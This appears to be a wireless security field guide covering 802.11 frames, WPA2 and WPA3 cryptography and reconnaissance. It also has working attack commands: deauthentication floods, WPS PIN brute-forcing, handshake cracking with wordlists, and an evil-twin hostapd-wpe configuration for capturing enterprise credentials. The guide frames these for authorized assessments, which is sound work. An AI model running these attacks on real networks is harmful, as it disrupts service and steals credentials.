WiFi Security Field Guide: Attack Techniques, Defense and Wireless Network Analysis

WiFi Protocol Stack: PHY, MAC, and Frame Architecture

IEEE 802.11 operates across two primary layers. The Physical Layer (PHY) handles modulation, coding, and RF transmission—evolving from DSSS/CCK in 802.11b through OFDM in 802.11a/g to OFDMA in 802.11ax (WiFi 6). The Medium Access Control (MAC) Layer manages channel access via CSMA/CA with exponential backoff, frame addressing, fragmentation, and power management. Unlike Ethernet's CSMA/CD, WiFi cannot detect collisions while transmitting; it relies on clear channel assessment and acknowledgment frames.

MAC frames carry four distinct address fields in certain modes—an artifact of wireless distribution systems (WDS) and four-address frame formats for AP-to-AP bridging. Most traffic uses three addresses: destination, source, and BSSID.

Frame Type	Purpose	Security Relevance
Management	Authentication, association, beacon, probe	Historically unauthenticated; 802.11w adds integrity protection
Control	RTS/CTS, ACK, Block Ack	No payload; frame protection via sequence discipline
Data	User payload transmission	Encrypted under PTK/GTK; QoS subtypes in 802.11e

Frame structure follows this order: Frame Control (2 bytes), Duration/ID, Address fields, Sequence Control, QoS Control (if present), HT Control (if present), Frame Body (0–2304 bytes), FCS (CRC-32). The Frame Control field's Type and Subtype bits determine handling; the To DS/From DS bits control address interpretation.

Capture and inspect raw 802.11 frames with:

# Requires monitor-mode interface and root privileges
sudo airmon-ng start wlan0
sudo tcpdump -i wlan0mon -e -s 0 -w beacon_capture.pcap 'type mgt subtype beacon'

What it does: Puts interface in monitor mode, captures Layer 2 802.11 frames including radiotap headers with signal metadata. The filter restricts to beacon frames. When to use it: Baseline surveying, rogue AP detection, channel utilization analysis. Risks: Monitor mode disrupts normal station operation; captures may include sensitive SSID broadcast data. Expected output: PCAP file with raw 802.11 frames viewable in Wireshark or tshark.

tshark -r beacon_capture.pcap -T fields -e wlan.bssid -e wlan.ssid -e wlan.rsn.ie.akms.type -c 10

f8:e4:e3:12:34:56	CorpWiFi	00
f8:e4:e3:12:34:57	CorpWiFi	00
00:14:d1:ab:cd:ef	GuestNet	02

Interpretation: The akms.type field reveals authentication key management: 00 = 802.1X (enterprise), 02 = PSK (personal). The duplicate BSSID with incremental MAC suggests multiple APs on shared SSID—normal for enterprise deployments.

Security Mechanism Evolution: WEP to WPA3

The progression from WEP to WPA3 is not incremental improvement but architectural replacement. Each generation addressed fundamental failures:

Generation	Cipher	Key Derivation	Critical Weakness
WEP	RC4	Static 40/104-bit key + 24-bit IV	IV reuse; RC4 keystream recovery; no integrity beyond CRC-32
WPA/TKIP	RC4 with per-packet key mixing	4-way handshake from PSK or 802.1X	Michael MIC too weak; deprecated 2012
WPA2-Personal	AES-CCMP (128-bit)	PMK from PBKDF2(HMAC-SHA1, passphrase, SSID, 4096 iterations)	Offline dictionary attack on 4-way handshake capture
WPA2-Enterprise	AES-CCMP	PMK from 802.1X/EAP key exchange	Rogue RADIUS; certificate validation failures
WPA3-Personal	AES-CCMP or AES-GCMP-256	SAE (Simultaneous Authentication of Equals)	Side-channel leaks in early implementations; dragonblood vulnerabilities
WPA3-Enterprise	GCMP-256 (mandatory)	192-bit security mode	Implementation complexity; downgrade attacks if transitional mode enabled

WPA3's SAE replaces the PSK exchange with a password-authenticated key exchange based on discrete logarithm or elliptic curve cryptography. Unlike WPA2-Personal, knowledge of the password does not yield the PMK; there is no material to attack offline. However, early implementations leaked timing information enabling side-channel recovery—patched, but a reminder that specification correctness does not guarantee implementation security.

Cryptographic Mechanisms: CCMP, GCMP, and SAE

CCMP (Counter Mode with CBC-MAC Protocol) combines AES-128 in CTR mode for confidentiality with CBC-MAC for integrity. The 8-octet MIC and 8-octet IV/nonce structure impose 16 octets of overhead per MPDU. GCMP (Galois/Counter Mode Protocol) replaces CBC-MAC with GHASH, enabling parallel operation and higher throughput—mandatory in WPA3-Enterprise's 192-bit mode, optional in WPA3-Personal.

SAE operates in two phases:

1. Commit: Each peer generates scalar/element pair, transmits publicly. Password-derived mask ensures password contribution.
2. Confirm: Both parties derive shared secret, confirm mutual derivation.

The resulting Pairwise Master Key (PMK) is session-specific; even identical passwords produce distinct PMKs per association.

Key Hierarchy and the Four-Way Handshake

Understanding key derivation is prerequisite to analyzing handshake capture attacks or troubleshooting roaming failures.

Key	Derivation	Scope	Lifetime
PSK	User passphrase or 64-char hex	Personal mode only	Static until reconfiguration
PMK	PSK via PBKDF2, or EAP key export	Per-session	Association lifetime
PTK	PRF(PMK, "Pairwise key expansion", ANonce‖SNonce‖MAC_AP‖MAC_STA)	Per-STA/AP pair	Rekeyed or session-bound
GTK	AP-generated, encrypted in EAPOL-Key	Broadcast/multicast	Periodic group rekey

The four-way handshake (802.11i-2004, Clause 8.5.3) derives PTK from nonces and MAC addresses:

1. Message 1 (AP→STA): ANonce, key info (unicast, key ACK, key MIC)
2. Message 2 (STA→AP): SNonce, key info (unicast, key MIC, encrypted key data includes RSNE)
3. Message 3 (AP→STA): GTK install, key info (unicast, install, key ACK, key MIC, encrypted key data)
4. Message 4 (STA→AP): Final confirmation

The nonce reuse vulnerability (KRACK, 2017) exploited retransmitted Message 3 by forcing nonce reset in the GTK handshake variant, enabling replay and decryption. The fix: never reinstall already-in-use keys.

Inspect handshake status with:

# Lab: Analyze handshake completeness and nonce behavior
tshark -r wpa_handshake.pcap -Y "eapol" -T fields -e frame.number -e wlan.fc.retry \
  -e eapol.keydes.nonce -e eapol.keydes.key_info.key_mic -e eapol.keydes.key_info.install

What it does: Extracts EAPOL-Key frame fields to verify handshake completeness and detect anomalies (retry flags, repeated nonces, install bit timing). When to use it: Validating capture quality for hashcat/aircrack, investigating KRACK variants, troubleshooting roaming failures. Risks: PCAP analysis is passive; no network impact. Expected output: Tabular sequence showing nonce progression and install bit state.

frame.number	wlan.fc.retry	eapol.keydes.nonce	key_mic	install
142	0	ANonce_value...	1	0
144	0	SNonce_value...	1	0
146	0	ANonce_value...	1	1
148	0	(empty)	1	0

Retry flags on Message 1 or 3 warrant scrutiny—active attackers inject retransmissions to exploit reinstall logic.

802.11w: Protected Management Frames

The persistent problem: management frames must propagate to all stations, including unassociated ones, precluding standard encryption. 802.11w (PMF) provides integrity protection and replay resistance without confidentiality—stations ignore forged deauthentication, disassociation, or rogue channel switch announcements.

PMF requires CCMP or GCMP; it cannot operate with TKIP. Deployment uses association comebacks with SA Query procedures to prevent spoofed disassociation from forcing full reauthentication—critical for latency-sensitive applications and fast-secure roaming (802.11r).

Verify PMF capability in beacon frames:

# Lab: Extract RSN capabilities including MFP (Management Frame Protection)
tshark -r survey.pcap -Y "wlan.fc.type_subtype == 0x08" -T fields \
  -e wlan.bssid -e wlan.ssid -e wlan.rsn.ie.capabilities.mfp \
  | sort | uniq -c | sort -rn | head -20

What it does: Parses beacon frames for MFP capability bits: 0 = no PMF, 1 = capable (optional), 2 = required. When to use it: Pre-deployment survey, compliance gap analysis, rogue AP detection (uncommon PMF settings). Risks: Passive only. Expected output: Frequency-annotated BSSID list with PMF posture.

  47 f8:e4:e3:12:34:56	CorpWiFi	2
  12 00:14:d1:ab:cd:ef	GuestNet	0
   3 f8:e4:e3:12:34:57	CorpWiFi	1

Interpretation: 2 means PMF required—association without PMF negotiation rejected. 1 is "capable," permitting downgrade. 0 is absent. The 1 entry on same SSID suggests transitional deployment or misconfiguration inviting downgrade attacks.

802.1X/EAP Framework for Enterprise Authentication

Enterprise deployments decouple AP from credential verification. The AP acts as authenticator, forwarding EAP frames to a RADIUS authentication server (AS) via 802.1X. The EAP method—PEAP, EAP-TLS, EAP-TTLS, EAP-FAST—determines vulnerability surface.

Method	Tunneling	Credential	Common Failure Mode
PEAP-MSCHAPv2	TLS outer, inner MSCHAPv2	Username/password	Inner authentication bypass; weak passwords crackable from challenge/response
EAP-TLS	Mutual TLS	Client certificate	Certificate lifecycle management burden; CRL/OCSP availability dependency
EAP-TTLS	TLS outer, inner legacy PAP/CHAP	Variable	Inner method downgrade

Critical misconception: "Enterprise is stronger than Personal" depends entirely on implementation. PEAP-MSCHAPv2 with weak passwords and no server certificate validation is weaker than WPA3-Personal with a strong SAE password. The enterprise boundary adds identity management and centralized revocation, not inherent cryptographic superiority.

Common mistakes in enterprise WiFi deployment:

Mistake	Why it bites you
EAP-TLS without OCSP stapling or CRL distribution	Revoked certificates authenticate indefinitely; rogue devices with stolen certs persist
PEAP with anonymous outer identity and no server cert validation	Evil twin captures inner MSCHAPv2 challenge/response; offline hash cracking follows
Fast-secure roaming (802.11r) without PMF	FT key hierarchy derived from plaintext frames; deauth floods force reauthentication to collect PMK-R0/PMK-R1
WPA3-Enterprise transitional mode enabled	Downgrade to WPA2-Enterprise accepted; GCMP-256 never negotiated

Key Derivation Deep Dive: From PMK to PTK

The PRF construction matters for forensic validation:

PTK = PRF-512(PMK, "Pairwise key expansion", Min(ANonce,SNonce) ||
              Max(ANonce,SNonce) || Min(MAC_AP,MAC_STA) || Max(MAC_AP,MAC_STA))

The Key Confirmation Key (KCK) and Key Encryption Key (KEK) are extracted from PTK for MIC calculation and key data encryption respectively. In 802.11r fast BSS transition, the hierarchy extends to PMK-R0 (holds on AP/controller) and PMK-R1 (distributed to target AP), reducing authentication latency at the cost of key distribution complexity—compromised controllers expose broader key material.

Practical insight: Handshake captures for WPA2-Personal attack offline because PSK-to-PMK derivation (4096 PBKDF2 iterations) is deterministic per SSID/passphrase pair. The SSID acts as salt—rainbow tables target common SSIDs. Changing the default SSID from "linksys" provides marginal protection against precomputed tables but zero protection against targeted PBKDF2 computation with GPUs. WPA3's SAE eliminates this attack vector entirely by making the PMK non-derivable from password alone.

Further reading

• Configure 802.11w Management Frame Protection on WLC - Cisco
• 802.11w Protected Management Frames
• 802.11r, 802.11k, and 802.11w Deployment Guide, Cisco IOS-XE Release 3.3 - 802.11w Protected Management Frames Cisco Wireless LAN Controller
• Guidelines for securing Wireless Local Area Networks (WLANs)
• Wireless Network Security: 802.11, Bluetooth and Handheld Devices

Interface Preparation and Monitor Mode

Every test starts with the wireless interface in the correct state. Name conventions vary: wlan0 is the managed-mode interface; wlan0mon is the monitor-mode interface created by airmon-ng, while some drivers (e.g., modern rtl88xxau) keep wlan0 and flip mode in-place.

# Identify your wireless interface
ip link show | grep wl

# Kill processes that interfere with monitor mode, then start it
sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Verify monitor mode is active
iwconfig wlan0mon

What it does: check kill terminates NetworkManager, wpa_supplicant, and dhclient to prevent channel-hopping conflicts. start wlan0 creates the monitor virtual interface. When to use it: Before any capture, injection, or scanning operation. Risks: Disconnects you from any legitimate WiFi network; on headless systems, ensure alternative access (Ethernet, serial console) or schedule with at. Expected output: wlan0mon appears in iwconfig with Mode:Monitor; if you see Mode:Managed, the chipset or driver lacks monitor support.

Lab: Use airmon-ng for predictable interface naming. Production: On systems where check kill is too destructive, use iw directly: sudo iw dev wlan0 set type monitor and manage NetworkManager exclusions via nmcli.

Mistake	Why it bites you
Forgetting check kill	Background supplicant jumps channels, corrupting captures
Assuming wlan0mon exists	Some drivers reuse wlan0; scripts break on hardcoded names
Running on USB 3.0 port adjacent to 2.4 GHz radio	USB 3.0 noise at 2.4 GHz raises noise floor 10-20 dB, killing range

---

Channel Scanning and Target Identification

airodump-ng is the workhorse for discovering networks and associated clients. It hopscans channels by default; lock to a target channel for clean captures.

# Broad scan across 2.4 GHz and 5 GHz
sudo airodump-ng wlan0mon --band abg

# Targeted scan on channel 36, writing to file
sudo airodump-ng wlan0mon -c 36 --bssid 00:11:22:33:44:55 -w /tmp/capture

Sample output:

 CH 36 ][ Elapsed: 2 mins ][ 2024-01-15 09:42 ][ WPA2 handshake: 00:11:22:33:44:55

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -42      452        12    0  36  54e. WPA2 CCMP   PSK  CorpWiFi
 00:11:22:33:44:66  -67      210         0    0  36  54e. WPA2 CCMP   PSK  GuestWiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes
 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -45    1e- 1e     0      142  wpa2 handshake

What it does: -c 36 locks channel to avoid channel-switch loss; --bssid filters noise; -w writes pcap for later analysis. When to use it: Reconnaissance phase and during handshake capture to verify target presence. Risks: Broad scan leaks your MAC address in probe requests; use --essid with fake MAC if testing detection systems. Expected output: WPA2 in ENC column, CCMP for AES (not TKIP), PSK or MGT (Enterprise) in AUTH. handshake in Notes confirms capture completion.

The PWR field is relative to your adapter's calibration, not absolute dBm. A -42 reading on one chipset may read -55 on another. Use it for comparative ranking, not coverage mapping.

---

Handshake Capture and Deauthentication Injection

The WPA2 4-way handshake contains the PMKID and encrypted MIC needed for offline PSK cracking. If clients are idle, stimulate reauthentication with deauth frames.

# Capture with client monitoring, channel-locked
sudo airodump-ng wlan0mon -c 36 --bssid 00:11:22:33:44:55 -w /tmp/handshake

# In second terminal: targeted deauthentication (5 frames, client-specific)
sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon

# Broadcast deauthentication (all clients) — higher disruption
sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 wlan0mon

What it does: -0 5 sends 5 deauthentication frames; -a is target AP; -c is specific client MAC. When to use it: When airodump-ng shows connected clients but no handshake after several minutes. Risks: Broadcast deauth is a denial-of-service; specific-client targeting is stealthier but still detectable by any 802.11 frame analyzer. Expected output: airodump-ng prints WPA handshake: 00:11:22:33:44:55 in top-right; pcap file size jumps by ~2-4 KB.

Lab: Use targeted -c with 5-10 frames. Production / detection validation: Limit to 1-2 frames, or use passive capture only during known maintenance windows.

⚠️ Authorized, defensive use only. Deauthentication injection is indistinguishable from a denial-of-service attack. Deploy only in lab environments or during explicitly authorized wireless security assessments with written scope approval.

---

WPS PIN Testing

WiFi Protected Setup (WPS) remains enabled on consumer and some enterprise gear. The PIN is 8 digits but split into two halves with verifiers, reducing brute-force space dramatically.

# Reaver classic approach
sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv -c 36

# Bully — often faster on modern chipsets, handles lockouts better
sudo bully -b 00:11:22:33:44:55 -c 36 -v 3 wlan0mon

What it does: Both tools brute-force WPS PINs, derive PSK from registrar response. When to use it: Target shows WPS in airodump-ng output (version 1.0/2.0). Risks: Many APs lock WPS after 3-10 failures for hours; rapid testing triggers obvious logs. Expected output: WPS PIN: 12345678 then WPA PSK: ActualPassword123. Lockouts print WARNING: Detected AP rate limiting.

Reaver's original codebase has stagnated; the current stable release of bully handles NACK-based lockout recovery more gracefully. If WPS 2.0 is enforced with strict lockout, neither tool succeeds—this is your signal that the target has been hardened against this vector.

---

WPA2-PSK Dictionary Attack

With a captured handshake, test password candidates offline. No further radio interaction required.

# Verify handshake presence
sudo aircrack-ng /tmp/handshake-01.cap

# Run dictionary attack
sudo aircrack-ng /tmp/handshake-01.cap -w /usr/share/wordlists/rockyou.txt -b 00:11:22:33:44:55

Sample output:

Reading packets, please wait...

Aircrack-ng 1.x

                         [00:00:12] 143002 keys tested (11234.56 k/s)

      KEY FOUND! [ Corporate2024! ]

Master Key     : A1 B2 C3 ...

What it does: -w specifies wordlist; -b filters for target BSSID in multi-network capture. When to use it: After handshake capture; scale to hashcat with -J output for GPU acceleration. Risks: Pure dictionary attacks fail against random passphrases; use only to validate policy compliance. Expected output: KEY FOUND! with plaintext, or exhaustion message. 1 handshake in initial summary confirms valid capture; 0 handshakes means recapture.

Hashcat conversion for GPU speedup:

aircrack-ng /tmp/handshake-01.cap -J /tmp/handshake_hccapx
hashcat -m 2500 /tmp/handshake_hccapx.hccapx /usr/share/wordlists/rockyou.txt

---

Rogue AP Quick Deployment with hostapd-wpe

hostapd-wpe simplifies attacking WPA/WPA2-Enterprise by impersonating the target network and capturing EAP credentials or relaying inner authentication.

# Install from OpenSecurityResearch repository (check latest release)
# Clone, build with WPE patches, or use distribution package if available

# Basic deployment — clone target SSID, Enterprise mode
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

Minimal hostapd-wpe.conf:

interface=wlan0
ssid=CorpWiFi
channel=36
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever
success_return=1

What it does: Creates rogue AP; clients with misconfigured certificate validation connect and expose EAP-Response/Identity (cleartext username) and potentially inner credentials. When to use it: Authorized enterprise wireless audits to test supplicant certificate validation. Risks: Active man-in-the-middle; any connected client routes traffic through your system unless isolated. Expected output: EAP-Response/Identity: CORP\jdoe printed to console; MSCHAPv2 or GTC challenge-response captured to log.

EAP-TLS's outer identity leaks real domain usernames before TLS tunnel establishment—this is protocol behavior, not implementation flaw. The deeper failure is broken server certificate validation: most supplicants ship with permissive defaults, and users habitually click through certificate warnings.

---

Kismet Drone Deployment for Distributed Monitoring

Kismet supports remote capture sources feeding a central server, enabling distributed 802.11 monitoring without full GUI at edge nodes.

# Headless drone: minimal hardware (Raspberry Pi 4, USB adapter)
sudo kismet_cap_linux_wifi --connect 198.51.100.10:3501 --source wlan0:name=site1,channels="1,6,11,36,40,44,48"

# Central server with web UI
sudo kismet --no-ncurses

What it does: kismet_cap_linux_wifi runs the capture binary only; feeds packets to central Kismet server over TCP. When to use it: Permanent or semi-permanent sensor deployment, wardriving with minimal hardware, or sites requiring multiple vantage points. Risks: Detecting unknown clients joining networks—while technically possible—varies in legality by jurisdiction and authorization context; log retention policies must be defined. Expected output: Web UI at http://198.51.100.10:2501 shows remote source site1 with channel list and detected devices.

Kismet's suid-root installation allows users in the kismet group to add capture sources via web interface without sudo. If your distribution packages lack this, you need sudo or manual capability adjustment. The current stable release's exact permission model may vary—verify with your package documentation.

---

Authorization Verification Checklist

Check	Verify
Written authorization exists	Scope document signed by network owner or delegate with legal authority
Target boundaries defined	Specific SSIDs, BSSIDs, channels, physical addresses—not "the building"
Timebox enforced	Start and end dates, with emergency contact for early termination
SSIDs match authorization	Rogue AP deployment uses only explicitly permitted target names
Traffic isolation configured	Rogue AP bridged to null/NAT to prevent accidental client Internet exposure
Logs retained per policy	Captured handshakes, credentials, pcap files encrypted at rest, destruction date set
Deauth frames documented	Each injection logged with timestamp, target, count, justification
WPS testing scoped	Lockout recovery attempted only if explicitly permitted; abort on first unplanned outage report

A capture file without chain-of-custody documentation is forensically worthless. Label your -w output with date, test case reference, and operator initials at creation time—not during report writing two weeks later.

Further reading

• Launching Kismet - Kismet

Passive vs. Active Discovery

The first decision in wireless reconnaissance is whether to listen silently or probe the environment. Passive discovery places the adapter in monitor mode and records every 802.11 frame on a tuned channel. This leaves no radio footprint—no association requests, no probe requests with your MAC address, no telltale burst pattern that a WIDS might flag. The trade-off is time: you capture only what the infrastructure and clients transmit organically. On quiet channels, you may wait minutes for a beacon burst or client probe.

Active discovery sends directed or broadcast probe requests, triggering AP responses and accelerating SSID resolution. It also paints a target on your radio. Enterprise WIDS signatures routinely flag rapid channel-hopping probe floods, and some countermeasures (AP-based radio resource management, dynamic channel selection) will alter the target environment in response. For authorized defensive assessment, active discovery belongs in controlled lab windows; for production baseline enumeration, passive collection over extended windows yields cleaner data.

What it does: Captures all 802.11 traffic on a specified channel without joining any BSS. When to use it: Baseline topology mapping, stealth assessment, or when you need frame sequences for troubleshooting association failures. Risks: Channel-hopping without discipline fragments capture; clients may be on a channel you miss for minutes. Expected output: Raw 802.11 frames with radiotap headers including signal strength, channel, and data rate metadata.

# Lab: Set interface to monitor mode, fix channel to avoid hopping gaps
sudo ip link set wlan0 down
sudo iw wlan0 set monitor none
sudo ip link set wlan0 up
sudo iw wlan0 set channel 36 HT20

# Verify mode and channel
iw dev wlan0 info

Production variant: Use shorter capture windows (5–10 minutes per channel) with scripted channel rotation rather than continuous manual hopping. Log channel dwell times to correlate with missed traffic later.

---

802.11 Frame Types: A Field Reference

The Frame Control field's Type and Subtype bits determine everything about a frame's security relevance. Wireshark display filters build directly on these classifications.

Frame Type	Subtype Examples	Security Relevance	Key Display Filter
Management (0)	Beacon, Probe Request/Response, Authentication, Association Request/Response, Deauthentication, Disassociation	BSS topology, capabilities, client enumeration, attack surface for spoofing	wlan.fc.type == 0
Control (1)	RTS, CTS, ACK, Block ACK	Medium reservation, hidden node mitigation; rarely contains security data directly	wlan.fc.type == 1
Data (2)	Data, Null, QoS Data, Data+CF-Ack	Encapsulated upper-layer traffic; protection status reveals WPA2/WPA3 vs. open	wlan.fc.type == 2
Extension (3)	Reserved/uncommon	Not typically encountered in standard reconnaissance	wlan.fc.type == 3

Critical subtypes for reconnaissance:

Subtype	Decimal Value	Filter	What It Reveals
Beacon	8	wlan.fc.subtype == 8	AP capabilities, SSID (or blank for hidden), RSN IE, 802.11w support, channel, rates
Probe Request	4	wlan.fc.subtype == 4	Client-desired SSIDs (directed) or wildcard (broadcast); reveals roaming targets
Probe Response	5	wlan.fc.subtype == 5	AP response to probe; comparable data to beacon but triggered
Authentication	11	wlan.fc.subtype == 11	Authentication sequence numbers; algorithm type (Open System vs. SAE)
Association Request	0	wlan.fc.subtype == 0	Client capabilities, supported rates, RSN IE from client perspective

Hard-won insight: A "hidden SSID" AP does not omit its beacon—it sends beacon frames with an empty SSID element (length 0). The SSID leaks in probe responses to legitimate clients and in association request frames from those clients. A passive capture over time almost always recovers the name without active probing.

---

Hidden SSID Discovery and Client Enumeration

Capturing the SSID leak:

# Capture beacons and directed traffic on target channel
sudo tcpdump -i wlan0 -w hidden_ssid.pcap -e -s 0 \
    'type mgt and (subtype beacon or subtype assoc-req or subtype reassoc-req or subtype probe-resp)'

Wireshark display filters for post-capture analysis:

# Isolate AP with blank SSID in beacons but SSID elsewhere
wlan.fc.subtype == 8 && !(wlan.ssid) && wlan.bssid == 00:11:22:33:44:55
# Then search for same BSSID with non-empty SSID in other frames
wlan.bssid == 00:11:22:33:44:55 && wlan.ssid

Client enumeration from probe requests—clients reveal preferred networks and sometimes themselves:

# All probe requests (broadcast and directed)
wlan.fc.type == 0 && wlan.fc.subtype == 4

# Group by SSID being probed for—reveals client roaming history
tshark -r capture.pcap -Y 'wlan.fc.subtype == 4' -T fields \
    -e wlan.sa -e wlan.ssid | sort | uniq -c | sort -rn

Sample output interpretation:

     42 6a:3c:4f:12:89:ab CorpWiFi
     17 6a:3c:4f:12:89:ab GuestNet
      9 6a:3c:4f:12:89:ab [EMPTY: broadcast probe]

Client 6a:3c:4f:12:89:ab has associated with CorpWiFi previously; the broadcast probe suggests it failed to find a preferred network and fell back to wildcard discovery. The MAC prefix may be randomized (see below).

---

RSN Information Elements: Reading Protection Status

The RSN IE in beacons and probe responses encodes the difference between WPA2-PSK, WPA2-Enterprise, WPA3-SAE, and whether management frame protection (802.11w) is required or optional.

Wireshark filters for capability parsing:

# Networks with any RSN IE present (not WEP, not open)
wlan.rsn

# 802.11w mandatory (MFP required)
wlan.rsn.capabilities.mfpr == 1

# 802.11w optional (MFP capable but not enforced)
wlan.rsn.capabilities.mfpc == 1 && wlan.rsn.capabilities.mfpr == 0

# WPA3-SAE (Authentication Key Management suite selector 00-0F-AC:8)
wlan.rsn.akms.suites == 00-0f-ac:08

RSN IE Field Position	Meaning for Assessment
Group Cipher Suite	Broadcast/multicast encryption: typically CCMP (00-0F-AC:4) or GCMP-256 for WPA3-Enterprise
Pairwise Cipher Suite Count	Usually 1; multiple entries suggest transition mode or misconfiguration
AKM Suite List	PSK (00-0F-AC:2), 802.1X (00-0F-AC:1), SAE (00-0F-AC:8), FT-SAE (00-0F-AC:9)
RSN Capabilities bits 6-7	MFPC (bit 6: capable), MFPR (bit 7: required)—together define 802.11w posture

What it does: The wlan.rsn filter isolates modern protected networks; combining with AKM suite selectors identifies WPA3 vs. legacy transition modes. When to use it: Prioritizing assessment targets by hardening level, or detecting downgrade-capable networks. Risks: Misreading "capable" as "enforced" leaves false confidence; always check MFPR.

---

MAC Address Randomization: Tracking Impact

Modern clients randomize MAC addresses in probe requests to prevent tracking. This breaks naive client enumeration by source MAC but not all correlation methods.

Detecting randomization patterns:

Indicator	Technique	Limitation
Locally administered bit (U/L = 1 in first octet)	wlan.sa[0] & 0x02 == 0x02	Not all random MACs set this; some implementations use globally unique ranges
OUI mismatch	wlan.sa[0:3] != wlan.tag.oui in vendor-specific IEs	Rarely present in probe requests
Sequence number gaps	wlan.seq jumps without rollover pattern	Stateful tracking across probe bursts; fails if client goes silent
Timing/fingerprinting	Inter-probe interval, supported rates, IE ordering	Heuristic; requires training data

When randomization is active, pivot enumeration to behavioral correlation: SSID probe lists, 802.11 capabilities (HT/VHE capabilities, extended capabilities bitmap), and vendor-specific IEs. A client probing the same five SSIDs across multiple random MACs is still one client for threat modeling purposes.

---

Spectrum Analysis and Non-WiFi Interference

Not all radios speak 802.11. Bluetooth, Zigbee, proprietary FHSS, cordless phones, and microwave ovens occupy the 2.4 GHz band; LTE-U and radar systems encroach on 5 GHz DFS channels. Software-defined radio tools (hackrf, rtl-sdr) or dedicated spectrum analyzers (Wi-Spy, Oscium WiPry) reveal energy the 802.11 stack discards as unparseable noise.

Practical correlation:

Symptom in 802.11 Capture	Likely Interferer	Confirmation
High retry rate, low RSSI, clean spectrum on other channels	Co-channel interference from dense AP deployment	Channel utilization in beacon quiet elements
Periodic spikes in noise floor, ~15–20 second cycle	Microwave oven in 2.4 GHz	Spectrum waterfall shows broad 20 MHz burst
Complete deafness on specific 5 GHz channel with radar pattern	DFS radar detection (meteorological, military)	Channel switch announcement frame in capture; check regulatory domain
Narrow, frequency-hopping energy bursts	Bluetooth Classic or BLE	SDR waterfall shows 1 MHz hops; 802.11 capture shows only elevated noise floor

Hard-won insight: A WiFi adapter in monitor mode cannot report what it cannot decode. Before blaming "poor WiFi coverage," always rule out non-WiFi interferers with spectrum visualization—especially in industrial environments where proprietary 2.4 GHz telemetry coexists with enterprise WLANs.

---

Enterprise Topology Inference

Enterprise deployments leak structure through beacon and probe patterns:

• Multiple BSSID sets with identical SSID and sequential MACs: Indicates controller-based architecture with virtual APs on dedicated radios or interfaces. The gap between MACs suggests vendor allocation block size.
• Identical beacon intervals but varying DTIM periods: Different power-save or multicast delivery policies per AP role (indoor vs. outdoor, voice-optimized vs. best-effort).
• Probe response timing variance: APs with identical SSID but disparate response latency may be on different controller groups or WAN-connected remote APs.
• 802.11k/v/r neighbor reports in beacons: Reveals planned roaming topology—adjacent channels and BSSID targets the infrastructure wants clients to prefer.

Wireshark filter for neighbor report elements:

wlan.tag.number == 52  # Neighbor Report element
wlan.tag.number == 69  # Fine Timing Measurement Parameters (802.11mc)

---

Wardriving Database Correlation

Collected BSSIDs, SSIDs, and geolocation data can be correlated with public databases. WiGLE.net provides the largest open aggregation; its API permits bulk lookup for infrastructure change detection.

Ethical boundary: WiGLE data is crowdsourced. Correlating your own authorized environment against historical records is defensive; bulk querying to map third-party targets is not.

Lab: WiGLE API correlation for owned infrastructure

# Query WiGLE for a single BSSID known to belong to your organization
curl -s -u "WiGLE_USER:WiGLE_API_KEY" \
    "https://api.wigle.net/api/v2/network/detail?netid=00:11:22:33:44:55" \
    | jq '.results[] | {ssid, trilat, trilong, lastupdt}'

Production variant: Export BSSID list from NMS/WLC, batch-query nightly via API with rate limiting (WiGLE permits 100 queries/minute for registered users), flag newly exposed or relocated APs.

What it does: Identifies whether authorized APs have been geolocated and logged by third-party wardrivers—useful for rogue AP detection and physical security assessment. When to use it: Periodic infrastructure audit, post-merger integration, or after physical site changes. Risks: API rate limits; stale data (last seen dates may be months old); false positives from MAC reuse in recycled hardware.

---

Common Mistakes in Reconnaissance Capture

Mistake	Why it bites you
Capturing in managed mode instead of monitor mode	You see only your own traffic and broadcast/multicast on joined BSS; miss beacons from other ESSs, direct client-to-client frames, and deauth floods
Forgetting to lock channel or hopping too fast	Fragments handshake sequences across files; Wireshark cannot reassemble or follow streams split by channel change
Ignoring 802.11 radiotap header fields	FCS errors, bad PLCP, or non-data frames with garbage payload appear as "malformed" unless you filter wlan_radio.fcs_bad == 0
Trusting SSID string as unique identifier	Multiple ESSs can share an SSID; BSSID is the reliable key. SSID collision attacks deliberately exploit this confusion
Overlooking 6 GHz / Wi-Fi 6E captures	Requires 6 GHz-capable hardware and often different regulatory activation; silent on 2.4/5 GHz-only tools

---

Checklist: Baseline Reconnaissance Workflow

• [ ] Verify adapter monitor mode support and driver stability under load
• [ ] Document channel plan for regulatory domain; note DFS channels requiring radar detection
• [ ] Capture minimum 5 minutes per channel, or one full beacon interval × dwell factor
• [ ] Log capture metadata: adapter type, driver version, antenna configuration, physical location
• [ ] Post-process: extract unique BSSIDs, SSIDs, AKM suites, 802.11w status, client MAC randomization indicators
• [ ] Cross-reference against authorized infrastructure inventory; flag unknown BSSIDs for rogue AP triage
• [ ] Archive raw PCAP with retention matching incident response policy; derive summary CSV for trending

Scenario A: WPA2-PSK Network Assessment

Lab Target: Isolated test network LAB_CORP_24 on channel 6, SSID broadcast enabled, PSK Corp2024!WiFi (deliberately weak for training). Testing station: Ubuntu 22.04 with ALFA AWUS036ACH in monitor mode.

Authorization boundary: Written scope letter specifies exact SSID, test window (14:00–18:00 UTC), and prohibits deauthentication of production client MACs. Lab BSSID: 00:11:22:33:44:55.

Phase 1: Capture

# Verify interface and set monitor mode
sudo airmon-ng check kill
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
sudo iw dev wlan0 set freq 2437  # Channel 6

# Confirm target presence and start targeted capture
sudo airodump-ng wlan0 --channel 6 --bssid 00:11:22:33:44:55 -w /captures/lab_wpa2 --output-format pcapng

